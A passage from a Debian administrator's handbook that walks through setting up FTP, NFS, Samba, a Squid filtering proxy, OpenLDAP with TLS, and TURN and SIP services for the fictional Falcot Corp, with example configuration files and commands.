Many FTP servers are available in Debian (ftpd(-ssl), proftpd-basic, pure-ftpd and so on), which all provide the virtual ftp-server package. Please note that the pyftpd package, however, has been removed from the Debian project due to not being actively maintained anymore and being incompatible with Python 3. The Falcot Corp administrators picked vsftpd because they only use the FTP server to distribute a few files (including a Debian package repository); since they don't need advanced features, they chose to focus on the security aspects.

Installing the package creates an ftp system user. This account is always used for anonymous FTP connections, and its home directory (/srv/ftp/) is the root of the tree made available to users connecting to this service. The default configuration (in /etc/vsftpd.conf) requires some changes to cater to the simple need of making big files available for public downloads: anonymous access needs to be enabled (anonymous_enable=YES) and read-only access of local users needs to be disabled (local_enable=NO). The latter is particularly important since the FTP protocol doesn't use any form of encryption and the user password could be intercepted over the wire.

FTP and FTPS resources can be accessed with a variety of clients, with and without a graphical user interface, and they can also be mounted locally using the curlftpfs command from the similarly named package.

11.4. NFS File Server

NFS (Network File System) is a protocol allowing remote access to a filesystem through the network. All Unix systems can work with this protocol.

SPECIFIC CASE Microsoft Windows and NFS Shares

When older or (so called) "Home" variants of Windows are involved, usually Samba (節 11.5, “Setting Up Windows Shares with Samba”) must be used instead of NFS. Modern Windows Server and "Pro" or "Enterprise" Desktop solutions however have built-in support for NFS. After installation of the "Services for NFS" components NFS shares can be accessed and temporarily or permanently mounted like any other network share. Be aware of possible encoding issues in file names.

As an alternative Debian can be installed on Windows 10 Pro and higher. It requires the installation of the Windows Subsystem for Linux (WSL) component and the Debian app from the Windows store.

→ https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?

NFS is a very useful tool but, historically, it has suffered from many limitations, most of which have been addressed with version 4 of the protocol. The downside is that the latest version of NFS is harder to configure when you want to make use of basic security features such as authentication and encryption since it relies on Kerberos for those parts. And without those, the NFS protocol must be restricted to a trusted local network since data goes over the network unencrypted (a sniffer can intercept it) and access rights are granted based on the client's IP address (which can be spoofed).

DOCUMENTATION NFS HOWTO

Good documentation to deploy NFSv4 is rather scarce. Here are some pointers with content of varying quality but that should at least give some hints on what should be done.

→ https://help.ubuntu.com/community/NFSv4Howto

→ https://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. Securing NFS

If you don't use the Kerberos-based security features, it is vital to ensure that only the machines allowed to use NFS can connect to the various required RPC servers, because the basic protocol trusts the data received from the network. The firewall must also block IP spoofing so as to prevent an outside machine from acting as an inside one, and access to the appropriate ports must be restricted to the machines meant to access the NFS shares.

BACK TO BASICS RPC

RPC (Remote Procedure Call) is a Unix standard for remote services. NFS is one such service.

RPC services register to a directory known as the portmapper. A client wishing to perform an NFS query first addresses the portmapper (on port 111, either TCP or UDP), and asks for the NFS server; the reply usually mentions port 2049 (the default for NFS). Not all RPC services necessarily use a fixed port.

Older versions of the protocol required other RPC services which used dynamically assigned ports. Fortunately, with NFS version 4, only port 2049 (for NFS) and 111 (for the portmapper) are needed and they are thus easy to firewall.

11.4.2. NFS Server

The NFS server is part of the Linux kernel; in kernels provided by Debian it is built as a kernel module. If the NFS server is to be run automatically on boot, the nfs-kernel-server package should be installed; it contains the relevant start-up scripts.

The NFS server configuration file(s), /etc/exports and /etc/exports.d/, lists the directories that are made available over the network (exported). For each NFS share, only the given list of machines is granted access. More fine-grained access control can be obtained with a few options. The syntax for this file is quite simple:

/directory/to/share machine1(option1,option2,...) machine2(...) ...

Note that with NFSv4, all exported directories must be part of a single hierarchy and that the root directory of that hierarchy must be exported and identified with the option fsid=0 or fsid=root.

Each machine can be identified either by its DNS name or its IP address. Whole sets of machines can also be specified using either a syntax such as *.falcot.com or an IP address range such as 192.168.0.0/255.255.255.0 or 192.168.0.0/24.

Directories are made available as read-only by default (or with the ro option). The rw option allows read-write access. NFS clients typically connect from a port restricted to root (in other words, below 1024); this restriction can be lifted by the insecure option (the secure option is implicit, but it can be made explicit if needed for clarity).

By default, the server only answers an NFS query when the current disk operation is complete (sync option); this can be disabled with the async option. Asynchronous writes increase performance a bit, but they decrease reliability since there is a data loss risk in case of the server crashing between the acknowledgment of the write and the actual write on disk. Since the default value changed recently (as compared to the historical value of NFS), an explicit setting is recommended.

In order to not give root access to the filesystem to any NFS client, all queries appearing to come from a root user are considered by the server as coming from the nobody user. This behavior corresponds to the root_squash option, and is enabled by default. The no_root_squash option, which disables this behavior, is risky and should only be used in controlled environments. If all users should be mapped to the user nobody, use all_squash. The anonuid=uid and anongid=gid options allow specifying another fake user to be used instead of UID/GID 65534 (which corresponds to user nobody and group nogroup).

With NFSv4, you can add a sec option to indicate the security level that you want: sec=sys is the default with no special security features, sec=krb5 enables authentication only, sec=krb5i adds integrity protection, and sec=krb5p is the most complete level which includes privacy protection (with data encryption). For this to work you need a working Kerberos setup (that service is not covered by this book).

Other options are available; they are documented in the exports(5) manual page.

CAUTION First installation

The file /etc/exports does not list any valid NFS shares on initial installation. Once either this file or any file in /etc/exports.d/ has been edited or added to contain valid entries, the NFS server must be restarted with either of the following commands:

# exportfs -ra

# systemctl start nfs-kernel-server

11.4.3. NFS Client

As with other filesystems, integrating an NFS share into the system hierarchy requires mounting (and the nfs-common package). Since this filesystem has its peculiarities, a few adjustments were required in the syntax of the mount command and the /etc/fstab file.

範例 11.19. Manually mounting with the mount command

# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared

範例 11.20. NFS entry in the /etc/fstab file

arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0

The entry described above mounts, at system startup, the NFS directory /shared/ from the arrakis server into the local /srv/shared/ directory. Read-write access is requested (hence the rw parameter). The nosuid option is a protection measure that wipes any setuid or setgid bit from programs stored on the share. If the NFS share is only meant to store documents, another recommended option is noexec, which prevents executing programs stored on the share. Note that on the server, the shared directory is below the NFSv4 root export (for example /export/shared), it is not a top-level directory.

The nfs(5) manual page describes all the options in some detail.

11.5. Setting Up Windows Shares with Samba

Samba is a suite of tools handling the SMB protocol (also known as “CIFS”) on Linux. This protocol is used by Windows for network shares and shared printers.

Samba can also act as a Windows domain controller. This is an outstanding tool for ensuring seamless integration of Linux servers and the office desktop machines still running Windows.

11.5.1. Samba Server

The samba package contains the main two servers of Samba 4, smbd and nmbd.

DOCUMENTATION Going further

The Samba server is extremely configurable and versatile, and can address a great many different use cases matching very different requirements and network architectures. This book only focuses on the use case where Samba is used as a standalone server, but it can also be an NT4 Domain Controller or a full Active Directory Domain Controller, or a simple member of an existing domain (which could be managed by a Windows server).

The samba package contains all the necessary manual pages and in /usr/share/doc/samba/examples/ a wealth of commented example files. If you are looking for a more comprehensive documentation, you may check the Samba website.

→ https://www.samba.org/samba/docs/

TOOL Authenticating with a Windows Server

Winbind gives system administrators the option of using a Windows server as an authentication server. Winbind also integrates cleanly with PAM and NSS. This allows setting up Linux machines where all users of a Windows domain automatically get an account.

More information can be found in the /usr/share/doc/libpam-winbind/examples/pam_winbind/ directory of the libpam-winbind package.

11.5.1.1. Configuring with debconf

The package sets up a minimal configuration during the initial installation in /etc/samba/smb.conf by plainly copying /usr/share/samba/smb.conf. So you should really run dpkg-reconfigure samba-common to adapt it:

On first installation the only piece of required information is the name of the workgroup where the Samba server will belong (the answer is FALCOTNET in our case).

In case of a package update (from the old stable Debian version) or if the SMB server has already been configured to use a WINS server (wins server), the package also proposes identifying the WINS server from the information provided by the DHCP daemon. The Falcot Corp administrators rejected this option, since they intend to use the Samba server itself as the WINS server.

11.5.1.2. Configuring Manually

11.5.1.2.1. Changes to smb.conf

The requirements at Falcot require other options to be modified in the /etc/samba/smb.conf configuration file. The following excerpts summarize the changes that were effected in the [global] section.

[...]

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of

workgroup = FALCOTNET

[...]

# Windows Internet Name Serving Support Section:

# WINS Support - Tells the NMBD component of Samba to enable its WINS Server

wins support = yes

[...]

####### Authentication #######

# Server role. Defines in which mode Samba will operate. Possible

# values are "standalone server", "member server", "classic primary

# domain controller", "classic backup domain controller", "active

# directory domain controller".

#

# Most people will want "standalone server" or "member server".

# Running as "active directory domain controller" will require first

# running "samba-tool domain provision" to wipe databases and create a

# new domain.

server role = standalone server

obey pam restrictions = yes

[...]

# "security = user" is always a good idea. This will require a Unix account

# in this server for every user accessing the server.

security = user

[...]

Indicates that Samba should act as a Netbios name server (WINS) for the local network. This option had been removed from the default configuration in Buster and must be added manually if desired.

This is the default value for this parameter; however, since it is central to the Samba configuration, filling it explicitly is recommended. Each user must authenticate before accessing any share.

11.5.1.2.2. Adding Users

Each Samba user needs an account on the server; the Unix accounts must be created first, then the user needs to be registered in Samba's database. The Unix step is done quite normally (using adduser for instance).

Adding an existing user to the Samba database is a matter of running the smbpasswd -a user command; this command asks for the password interactively.

A user can be deleted with the smbpasswd -x user command. A Samba account can also be temporarily disabled (with smbpasswd -d user) and re-enabled later (with smbpasswd -e user).

11.5.2. Samba Client

The client features in Samba allow a Linux machine to access Windows shares and shared printers. The required programs are available in the cifs-utils and smbclient packages.

11.5.2.1. The smbclient Program

The smbclient program queries SMB servers. It accepts a -U user option, for connecting to the server under a specific identity. smbclient //server/share accesses the share in an interactive way similar to the command-line FTP client. smbclient -L server lists all available (and visible) shares on a server.

11.5.2.2. Mounting Windows Shares

The mount command allows mounting a Windows share into the Linux filesystem hierarchy (with the help of mount.cifs provided by cifs-utils).

範例 11.21. Mounting a Windows share

mount -t cifs //arrakis/shared /shared \

-o credentials=/etc/smb-credentials

The /etc/smb-credentials file (which must not be readable by users) has the following format:

username = user

password = password

Other options can be specified on the command-line; their full list is available in the mount.cifs(1) manual page. Two options in particular can be interesting: uid and gid allow forcing the owner and group of files available on the mount, so as not to restrict access to root.

A mount of a Windows share can also be configured in /etc/fstab:

//server/shared /shared cifs credentials=/etc/smb-credentials

Unmounting an SMB/CIFS share is done with the standard umount command.

11.5.2.3. Printing on a Shared Printer

CUPS is an elegant solution for printing from a Linux workstation to a printer shared by a Windows machine. When the smbclient is installed, CUPS allows installing Windows shared printers automatically.

Here are the required steps:

- Enter the CUPS configuration interface: http://localhost:631/admin

- Click on “Add Printer”.

- Choose the printer device, pick “Windows Printer via SAMBA”.

- Enter the connection URI for the network printer. It should look like the following:
smb://user:password@server/printer.

- Enter the name that will uniquely identify this printer. Then enter the description and location of the printer. Those are the strings that will be shown to end users to help them identify the printers.

- Indicate the manufacturer/model of the printer, or directly provide a working printer description file (PPD).

Voilà, the printer is operational!

11.6. HTTP/FTP Proxy

An HTTP/FTP proxy acts as an intermediary for HTTP and/or FTP connections. Its role is twofold:

- Caching: recently downloaded documents are copied locally, which avoids multiple downloads.

- Filtering server: if use of the proxy is mandated (and outgoing connections are blocked unless they go through the proxy), then the proxy can determine whether or not the request is to be granted.

Falcot Corp selected Squid as their proxy server.

11.6.1. 安裝

The squid Debian package only contains the modular (caching) proxy. Turning it into a filtering server requires installing the additional squidguard package. In addition, squid-cgi provides a querying and administration interface for a Squid proxy.

Prior to installing, care should be taken to check that the system can identify its own complete name: the hostname -f must return a fully-qualified name (including a domain). If it does not, then the /etc/hosts file should be edited to contain the full name of the system (for instance, arrakis.falcot.com). The official computer name should be validated with the network administrator in order to avoid potential name conflicts.

11.6.2. Configuring a Cache

Enabling the caching server feature is a simple matter of editing the /etc/squid/squid.conf configuration file and allowing machines from the local network to run queries through the proxy. The following example shows the modifications made by the Falcot Corp administrators:

範例 11.22. The /etc/squid/squid.conf file (excerpts)

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS

#

include /etc/squid/conf.d/*

# Example rule allowing access from your local networks.

# Adapt localnet in the ACL section to list your (internal) IP networks

# from where browsing should be allowed

acl our_networks src 192.168.1.0/24 192.168.2.0/24

http_access allow our_networks

http_access allow localhost

# And finally deny all other access to this proxy

http_access deny all

11.6.3. Configuring a Filter

squid itself does not perform the filtering; this action is delegated to squidGuard. The former must then be configured to interact with the latter. This involves adding the following directive to the /etc/squid/squid.conf file:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

The /usr/lib/cgi-bin/squidGuard.cgi CGI program also needs to be installed, using /usr/share/doc/squidguard/examples/squidGuard.cgi as a starting point. Required modifications to this script are the $proxy and $proxymaster variables (the name of the proxy and the administrator's contact email, respectively). The $image and $redirect variables should point to existing images representing the rejection of a query.

The filter is enabled with the systemctl reload squid command. However, since the squidguard package does no filtering by default, it is the administrator's task to define the policy. This can be done by creating the /etc/squid/squidGuard.conf file (using /etc/squidguard/squidGuard.conf.default as template if required).

The working database must be regenerated with update-squidguard after each change of the squidGuard configuration file (or one of the lists of domains or URLs it mentions). The configuration file syntax is documented on the following website:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVE E2guardian (a DansGuardian Fork)

The e2guardian package, a DansGuardian fork, is an alternative to squidguard. This software does not simply handle a blacklist of forbidden URLs, it can also take advantage of content and anti-virus scanning and it provides broad authentication support.

11.7. LDAP Directory

OpenLDAP is an implementation of the LDAP protocol; in other words, it is a special-purpose database designed for storing directories. In the most common use case, using an LDAP server allows centralizing management of user accounts and the related permissions. Moreover, an LDAP database is easily replicated, which allows setting up multiple synchronized LDAP servers. When the network and the user base grows quickly, the load can then be balanced across several servers.

LDAP data is structured and hierarchical. The structure is defined by “schemas” which describe the kind of objects that the database can store, with a list of all their possible attributes. The syntax used to refer to a particular object in the database is based on this structure, which explains its complexity.

11.7.1. 安裝

The slapd package contains the OpenLDAP server. The ldap-utils package includes command-line tools for interacting with LDAP servers.

Installing slapd usually asks only for the administrator's password and the resulting database is unlikely to suit your needs. Fortunately a simple dpkg-reconfigure slapd will let you reconfigure the LDAP database with more details:

- Omit OpenLDAP server configuration? No, of course, we want to configure this service.

- DNS domain name: “falcot.com”.

- Organization name: “Falcot Corp”.

- An administrative passwords needs to be typed in.

- Database backend to use: “MDB”.

- Do you want the database to be removed when slapd is purged? No. No point in risking losing the database in case of a mistake.

- Move old database? This question is only asked when the configuration is attempted while a database already exists. Only answer “yes” if you actually want to start again from a clean database, for instance if you run dpkg-reconfigure slapd right after the initial installation.

BACK TO BASICS LDIF format

An LDIF file (LDAP Data Interchange Format) is a portable text file describing the contents of an LDAP database (or a portion thereof); this can then be used to inject the data into any other LDAP server.

A minimal database is now configured, as demonstrated by the following query:

$ ldapsearch -x -b dc=falcot,dc=com

# extended LDIF

#

# LDAPv3

# base <dc=falcot,dc=com> with scope subtree

# filter: (objectclass=*)

# requesting: ALL

#

# falcot.com

dn: dc=falcot,dc=com

objectClass: top

objectClass: dcObject

objectClass: organization

o: Falcot Corp

dc: falcot

# admin, falcot.com

dn: cn=admin,dc=falcot,dc=com

objectClass: simpleSecurityObject

objectClass: organizationalRole

cn: admin

description: LDAP administrator

# search result

search: 2

result: 0 Success

# numResponses: 2

# numEntries: 1

The query returned two objects: the organization itself, and the administrative user.

11.7.2. Filling in the Directory

Since an empty database is not particularly useful, we are going to inject into it all the existing directories; this includes the users, groups, services and hosts databases.

The migrationtools package provides a set of scripts dedicated to extract data from the standard Unix directories (/etc/passwd, /etc/group, /etc/services, /etc/hosts and so on), convert this data, and inject it into the LDAP database.

Once the package is installed, the /etc/migrationtools/migrate_common.ph must be edited; the IGNORE_UID_BELOW and IGNORE_GID_BELOW options need to be enabled (uncommenting them is enough), and DEFAULT_MAIL_DOMAIN/DEFAULT_BASE need to be updated.

The actual migration operation is handled by the migrate_all_online.sh command, as follows:

# cd /usr/share/migrationtools

# PERL5LIB="${PERL5LIB}:/etc/migrationtools" LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

The migrate_all_online.sh asks a few questions about the LDAP database into which the data is to be migrated. 表格 11.1 summarizes the answers given in the Falcot use-case.

表格 11.1. Answers to questions asked by the migrate_all_online.sh script

Question

Answer

X.500 naming context

dc=falcot,dc=com

LDAP server hostname

localhost

Manager DN

cn=admin,dc=falcot,dc=com

Bind credentials

the administrative password

Create DUAConfigProfile

no

You might notice that we extend the PERL5LIB variable. This is due to Debian bug report #982666.

→ https://bugs.debian.org/982666

As you might have also noticed, we deliberately ignore migration of the /etc/aliases file, since the standard schema as provided by Debian does not include the structures that this script uses to describe email aliases. Should we want to integrate this data into the directory, the /etc/ldap/schema/misc.schema file should be added to the standard schema.

TOOL Browsing an LDAP directory

The jxplorer command (in the package of the same name) is a graphical tool allowing to browse and edit an LDAP database. It is an interesting tool that provides an administrator with a good overview of the hierarchical structure of the LDAP data.

Also note the use of the -c option to the ldapadd command; this option requests that processing doesn't stop in case of error. Using this option is required because converting the /etc/services often generates a few errors that can safely be ignored.

11.7.3. Managing Accounts with LDAP

Now the LDAP database contains some useful information, the time has come to make use of this data. This section focuses on how to configure a Linux system so that the various system directories use the LDAP database.

11.7.3.1. Configuring NSS

The NSS system (Name Service Switch, see sidebar 下一步 NSS 與系統資料庫) is a modular system designed to define or fetch information for system directories. Using LDAP as a source of data for NSS requires installing the libnss-ldap package. Its installation asks a few questions; the answers are summarized in 表格 11.2.

表格 11.2. Configuring the libnss-ldap package:

Question

Answer

LDAP server URI (Uniform Resource Identifier)

ldapi://ldap.falcot.com

Distinguished name of the search base

dc=falcot,dc=com

LDAP version to use

3

LDAP account for root

cn=admin,dc=falcot,dc=com

LDAP root account password

the administrative password

Allow LDAP admin account behave like local root?

yes

Does the LDAP database require login?

no

The /etc/nsswitch.conf file then needs to be modified, so as to configure NSS to use the freshly-installed ldap module. You can use the example provided in /usr/share/doc/libnss-ldap/examples/nsswitch.ldap or edit your existing configuration.

範例 11.23. The /etc/nsswitch.conf file

#ident $Id: nsswitch.ldap,v 2.4 2003/10/02 02:36:25 lukeh Exp $

#

# An example file that could be copied over to /etc/nsswitch.conf; it

# uses LDAP conjunction with files.

#

# "hosts:" and "services:" in this file are used only if the

# /etc/netconfig file has a "-" for nametoaddr_libs of "inet" transports.

# the following lines obviate the "+" entry in /etc/passwd and /etc/group.

passwd:         files ldap

shadow:         files ldap

group:          files ldap

# consult DNS first, we will need it to resolve the LDAP host. (If we

# can't resolve it, we're in infinite recursion, because libldap calls

# gethostbyname(). Careful!)

hosts:          dns ldap

# LDAP is nominally authoritative for the following maps.

services:   ldap [NOTFOUND=return] files

networks:   ldap [NOTFOUND=return] files

protocols:  ldap [NOTFOUND=return] files

rpc:        ldap [NOTFOUND=return] files

ethers:     ldap [NOTFOUND=return] files

# no support for netmasks, bootparams, publickey yet.

netmasks:   files

bootparams: files

publickey:  files

automount:  files

# I'm pretty sure nsswitch.conf is consulted directly by sendmail,

# here, so we can't do much here. Instead, use bbense's LDAP

# rules ofr sendmail.

aliases:    files

sendmailvars:   files

# Note: there is no support for netgroups on Solaris (yet)

netgroup:   ldap [NOTFOUND=return] files

The ldap module is usually inserted before others, and it will therefore be queried first. The notable exception is the hosts service since contacting the LDAP server requires consulting DNS first (to resolve ldap.falcot.com). Without this exception, a hostname query would try to ask the LDAP server; this would trigger a name resolution for the LDAP server, and so on in an infinite loop.

If the LDAP server should be considered authoritative (and the local files used by the files module disregarded), services can be configured with the following syntax:

service: ldap [NOTFOUND=return] files.

If the requested entry does not exist in the LDAP database, the query will return a “not existing” reply even if the resource does exist in one of the local files; these local files will only be used when the LDAP service is down.

11.7.3.2. Configuring PAM

This section describes a PAM configuration (see sidebar 後台 /etc/environment 與 /etc/default/locale) that will allow applications to perform the required authentications against the LDAP database.

CAUTION Broken authentication

Changing the standard PAM configuration used by various programs is a sensitive operation. A mistake can lead to broken authentication, which could prevent logging in. Keeping a root shell open is therefore a good precaution. If configuration errors occur, they can be then fixed and the services restarted with minimal effort.

The LDAP module for PAM is provided by the libpam-ldap package. Installing this package asks a few questions very similar to those in libnss-ldap; some configuration parameters (such as the URI for the LDAP server) are even actually shared with the libnss-ldap package. Answers are summarized in 表格 11.3.

表格 11.3. Configuration of libpam-ldap

Question

Answer

Allow LDAP admin account to behave like local root?

Yes. This allows using the usual passwd command for changing passwords stored in the LDAP database.

Does the LDAP database require logging in?

no

LDAP account for root:

cn=admin,dc=falcot,dc=com

LDAP administrative password:

the LDAP database administrative password

Local encryption algorithm to use for passwords:

crypt

PAM profiles to enable:

LDAP Authentication is among the enabled profiles

Installing libpam-ldap automatically adapts the default PAM configuration defined in the /etc/pam.d/common-auth, /etc/pam.d/common-password and /etc/pam.d/common-account files. This mechanism uses the dedicated pam-auth-update tool (provided by the libpam-runtime package). This tool can also be run by the administrator should they wish to enable or disable PAM modules.

11.7.3.3. Securing LDAP Data Exchanges

By default, the LDAP protocol transits on the network as cleartext; this includes the (encrypted) passwords. Since the encrypted passwords can be extracted from the network, they can be vulnerable to dictionary-type attacks. This can be avoided by using an extra encryption layer; enabling this layer is the topic of this section.

11.7.3.3.1. 組態伺服器

The first step is to create a key pair (comprising a public key and a private key) for the LDAP server. The Falcot administrators reuse easy-rsa to generate it (see 節 10.2.2, “公鑰基礎設施：easy-rsa”). Running ./easyrsa build-server-full ldap.falcot.com nopass will ask you about the “common name”. The answer to that question must be the fully-qualified hostname for the LDAP server; in our case, ldap.falcot.com.

This command creates a certificate in the pki/issued/ldap.falcot.com.crt file; the corresponding private key is stored in pki/private/ldap.falcot.com.key.

Now these keys have to be installed in their standard location, and we must make sure that the private file is readable by the LDAP server which runs under the openldap user identity:

# adduser openldap ssl-cert

Adding user `openldap' to group `ssl-cert' ...

Adding user openldap to group ssl-cert

Done.

# mv pki/private/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key

# chown root.ssl-cert /etc/ssl/private/ldap.falcot.com.key

# chmod 0640 /etc/ssl/private/ldap.falcot.com.key

# mv pki/issued/ldap.falcot.com.crt /etc/ssl/certs/ldap.falcot.com.pem

# chown root.root /etc/ssl/certs/ldap.falcot.com.pem

# chmod 0644 /etc/ssl/certs/ldap.falcot.com.pem

The slapd daemon also needs to be told to use these keys for encryption. The LDAP server configuration is managed dynamically: the configuration can be updated with normal LDAP operations on the cn=config object hierarchy, and the server updates /etc/ldap/slapd.d in real time to make the configuration persistent. ldapmodify is thus the right tool to update the configuration:

範例 11.24. Configuring slapd for encryption

# cat >ssl.ldif <<END

dn: cn=config

changetype: modify

add: olcTLSCertificateKeyFile

olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key

-

add: olcTLSCertificateFile

olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem

END

# ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "cn=config"

# systemctl restart slapd.service

# ldapsearch -Y EXTERNAL -H ldapi:/// -b cn=config -s base | grep TLS

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem

olcTLSCertificateKeyFile: /etc/ssl/certs/ldap.falcot.com.key

TOOL ldapvi to edit an LDAP directory

With ldapvi, you can display an LDIF output of any part of the LDAP directory, make some changes in the text editor, and let the tool do the corresponding LDAP operations for you.

It is thus a convenient way to update the configuration of the LDAP server, simply by editing the cn=config hierarchy.

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

The last step for enabling encryption involves changing the SLAPD_SERVICES variable in the /etc/default/slapd file. We'll play it safe and disable unsecured LDAP altogether.

範例 11.25. The /etc/default/slapd file

# Default location of the slapd.conf file or slapd.d cn=config directory. If

# empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to

# /etc/ldap/slapd.conf).

SLAPD_CONF=

# System account to run the slapd server under. If empty the server

# will run as root.

SLAPD_USER="openldap"

# System group to run the slapd server under. If empty the server will

# run in the primary group of its user.

SLAPD_GROUP="openldap"

# Path to the pid file of the slapd server. If not set the init.d script

# will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.d by

# default)

SLAPD_PIDFILE=

# slapd normally serves ldap only on all TCP-ports 389. slapd can also

# service requests on TCP-port 636 (ldaps) and requests via unix

# sockets.

# Example usage:

# SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///"

SLAPD_SERVICES="ldaps:/// ldapi:///"

# If SLAPD_NO_START is set, the init script will not start or restart

# slapd (but stop will still work).  Uncomment this if you are

# starting slapd via some other means or if you don't want slapd normally

# started at boot.

#SLAPD_NO_START=1

# If SLAPD_SENTINEL_FILE is set to path to a file and that file exists,

# the init script will not start or restart slapd (but stop will still

# work).  Use this for temporarily disabling startup of slapd (when doing

# maintenance, for example, or through a configuration management system)

# when you don't want to edit a configuration file.

SLAPD_SENTINEL_FILE=/etc/ldap/noslapd

# For Kerberos authentication (via SASL), slapd by default uses the system

# keytab file (/etc/krb5.keytab).  To use a different keytab file,

# uncomment this line and change the path.

#export KRB5_KTNAME=/etc/krb5.keytab

# Additional options to pass to slapd

SLAPD_OPTIONS=""

11.7.3.3.2. 設定客戶端

On the client side, the configuration for the libpam-ldap and libnss-ldap modules needs to be modified to use an ldaps:// URI.

LDAP clients also need to be able to authenticate the server. In an X.509 public key infrastructure, public certificates are signed by the key of a certificate authority (CA). With easy-rsa, the Falcot administrators have created their own CA and they now need to configure the system to trust the signatures of Falcot's CA. This can be done by putting the CA certificate in /usr/local/share/ca-certificates and running update-ca-certificates.

# cp pki/ca.crt /usr/local/share/ca-certificates/falcot.crt

# update-ca-certificates

Updating certificates in /etc/ssl/certs...

1 added, 0 removed; done.

Running hooks in /etc/ca-certificates/update.d...

Adding debian:falcot.pem

done.

done.

Last but not least, the default LDAP URI and default base DN used by the various command line tools can be modified in /etc/ldap/ldap.conf. This will save quite some typing.

範例 11.26. The /etc/ldap/ldap.conf file

#

# LDAP Defaults

#

# See ldap.conf(5) for details

# This file should be world readable but not world writable.

#BASE   dc=example,dc=com

#URI    ldap://ldap.example.com ldap://ldap-provider.example.com:666

#SIZELIMIT      12

#TIMELIMIT      15

#DEREF          never

# TLS certificates (needed for GnuTLS)

TLS_CACERT      /etc/ssl/certs/ca-certificates.crt

11.8. Real-Time Communication Services

Real-Time Communication (RTC) services include voice, video/webcam, instant messaging (IM) and desktop sharing. This chapter gives a brief introduction to three of the services required to operate RTC, including a TURN server, SIP server and XMPP server. Comprehensive details of how to plan, install and manage these services are available in the Real-Time Communications Quick Start Guide which includes examples specific to Debian.

→ https://rtcquickstart.org

Both SIP and XMPP can provide the same functionality. SIP is slightly more well known for voice and video while XMPP is traditionally regarded as an IM protocol. In fact, they can both be used for any of these purposes. To maximize connectivity options, it is recommended to run both in parallel.

These services rely on X.509 certificates both for authentication and confidentiality purposes. See 節 10.2, “X.509 certificates” for more information.

11.8.1. DNS settings for RTC services

RTC services require DNS SRV and NAPTR records. A sample configuration that can be placed in the zone file for falcot.com (see also 範例 10.13, “Excerpt of /etc/bind/db.falcot.com”:

; the server where everything will run

server1            IN     A      198.51.100.19

server1            IN     AAAA   2001:DB8:1000:2000::19

; IPv4 only for TURN for now, some clients are buggy with IPv6

turn-server        IN     A      198.51.100.19

; IPv4 and IPv6 addresses for SIP

sip-proxy          IN     A      198.51.100.19

sip-proxy          IN     AAAA   2001:DB8:1000:2000::19

; IPv4 and IPv6 addresses for XMPP

xmpp-gw            IN     A      198.51.100.19

xmpp-gw            IN     AAAA   2001:DB8:1000:2000::19

; DNS SRV and NAPTR for STUN / TURN

_stun._udp  IN SRV    0 1 3467 turn-server.falcot.com.

_turn._udp  IN SRV    0 1 3467 turn-server.falcot.com.

@           IN NAPTR  10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com.

; DNS SRV and NAPTR records for SIP

_sips._tcp  IN SRV    0 1 5061 sip-proxy.falcot.com.

@           IN NAPTR  10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com.

; DNS SRV records for XMPP Server and Client modes:

_xmpp-client._tcp  IN     SRV    5 0 5222 xmpp-gw.falcot.com.

_xmpp-server._tcp  IN     SRV    5 0 5269 xmpp-gw.falcot.com.

11.8.2. TURN Server

TURN is a service that helps clients behind NAT routers and firewalls to discover the most efficient way to communicate with other clients and to relay the media streams if no direct media path can be found. It is highly recommended that the TURN server is installed before any of the other RTC services are offered to end users.

TURN and the related ICE protocol are open standards. To benefit from these protocols, maximizing connectivity and minimizing user frustration, it is important to ensure that all client software supports ICE and TURN.

For the ICE algorithm to work effectively, the server must have two public IPv4 addresses.

Install the coturn package and edit the /etc/turnserver.conf configuration file. By default, a SQLite database is configured in /var/db/turndb for user account settings, but PostgreSQL, MySQL or Redis can be set up instead if preferred. The most important thing to do is insert the IP addresses of the server.

The server can be started running turnserver from the coturn package. We want the server to be an automatically started system service. This is the default behavior using systemd. Only when using the older SysVinit you have to edit the /etc/default/coturn file like this:

#

# Uncomment it if you want to have the turnserver running as

# an automatic system service daemon

#

TURNSERVER_ENABLED=1

By default, the TURN server uses anonymous access. We have to add the users we want to use:

# turnadmin -a -u roland -p secret_password -r falcot.com

# turnadmin -A -u admin -p secret_password

We use the argument -a to add a normal user and -A to add an admin user.

11.8.3. SIP Proxy Server

A SIP proxy server manages the incoming and outgoing SIP connections between other organizations, SIP trunking providers, SIP PBXes such as Asterisk, SIP phones, SIP-based softphones and WebRTC applications.

It is strongly recommended to install and configure the SIP proxy before attempting a SIP PBX setup. The SIP proxy normalizes a lot of the traffic reaching the PBX and provides greater connectivity and resilience.

11.8.3.1. Install the SIP proxy

Install the kamailio package and the package for the database backend. The Falcot administrators chose MySQL, so they install kamailio-mysql-modules and mariadb-server. /etc/kamailio/kamctlrc is the configuration file for the control tools kamctl and kamdbctl. You need to edit and set the SIP_DOMAIN to your SIP service domain and set the DBENGINE to MySQL, another database backend can be used.

[...]

## your SIP domain

SIP_DOMAIN=sip.falcot.com

## chrooted directory

# CHROOT_DIR="/path/to/chrooted/directory"

